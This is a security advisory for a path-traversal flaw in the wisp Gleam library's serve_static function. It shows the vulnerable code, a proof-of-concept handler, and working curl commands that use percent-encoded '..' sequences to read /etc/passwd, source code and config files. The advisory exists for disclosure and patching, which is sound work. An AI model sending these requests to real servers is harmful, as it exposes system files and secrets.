GHSA-h7cj-j2vv-qw8r

Suggest an improvement
Source
https://github.com/advisories/GHSA-h7cj-j2vv-qw8r
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-h7cj-j2vv-qw8r/GHSA-h7cj-j2vv-qw8r.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-h7cj-j2vv-qw8r
Aliases
Published
2026-03-11T00:11:39Z
Modified
2026-04-06T23:34:45.300721Z
Severity
  • 8.7 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N CVSS Calculator
Summary
Wisp Vulnerable to Path Traversal
Details

Summary

wisp.serve_static is vulnerable to arbitrary file read via percent-encoded path traversal (%2e%2e). The directory traversal sanitization runs before percent-decoding, allowing encoded .. sequences to bypass the filter. An unauthenticated attacker can read any file readable by the application process in a single HTTP request.

Details

In src/wisp.gleam, serve_static processes the request path in this order:

let path =
  path
  |> string.drop_start(string.length(prefix))
  |> string.replace(each: "..", with: "")   // Step 1: sanitize
  |> filepath.join(directory, _)

let path = case uri.percent_decode(path) {  // Step 2: decode
  Ok(p) -> p
  Error(_) -> path
}

Sanitization (step 1) strips literal .. but runs before percent-decoding (step 2). The encoded sequence %2e%2e passes through string.replace unchanged, then uri.percent_decode converts it to .., which the OS resolves as directory traversal when the file is read.

PoC

Any application using wisp.serve_static:

fn handle_request(req: wisp.Request) -> wisp.Response {
  use <- wisp.serve_static(req, under: "/static", from: priv_directory())
  wisp.not_found()
}

Exploit (requires --path-as-is to prevent client-side normalization):

# Read /etc/passwd
curl -s --path-as-is \
  "http://localhost:8080/static/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

# Read project source code
curl -s --path-as-is \
  "http://localhost:8080/static/%2e%2e/%2e%2e/src/app.gleam"

# Read project config
curl -s --path-as-is \
  "http://localhost:8080/static/%2e%2e/%2e%2e/gleam.toml"

Impact

This is a path traversal / arbitrary file read vulnerability (CWE-22). Any application using wisp.serve_static is affected. An unauthenticated attacker can read:

  • Application source code
  • Configuration and secrets in priv/
  • .env files, secret_key_base, private keys
  • System files (/etc/passwd, /etc/shadow if permissions allow)

Workaround

Copy the fixed implementation to your codebase and replace references to wisp.serve_static with this version in your codebase.

References

  • Commit that introduced the vulnerability: https://github.com/gleam-wisp/wisp/commit/129dcb1fe10ab1e676145d91477535e1c90ab550
  • Patch Commit: https://github.com/gleam-wisp/wisp/commit/161118c431047f7ef1ff7cabfcc38981877fdd93
Database specific
{
    "nvd_published_at": "2026-03-10T22:16:18Z",
    "severity": "HIGH",
    "github_reviewed": true,
    "cwe_ids": [
        "CWE-22"
    ],
    "github_reviewed_at": "2026-03-11T00:11:39Z"
}
References

Affected packages

Hex / wisp

Package

Name
wisp
Purl
pkg:hex/wisp

Affected ranges

Type
SEMVER
Events
Introduced
2.1.1
Fixed
2.2.1

Affected versions

2.*
2.1.1
2.2.0

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-h7cj-j2vv-qw8r/GHSA-h7cj-j2vv-qw8r.json"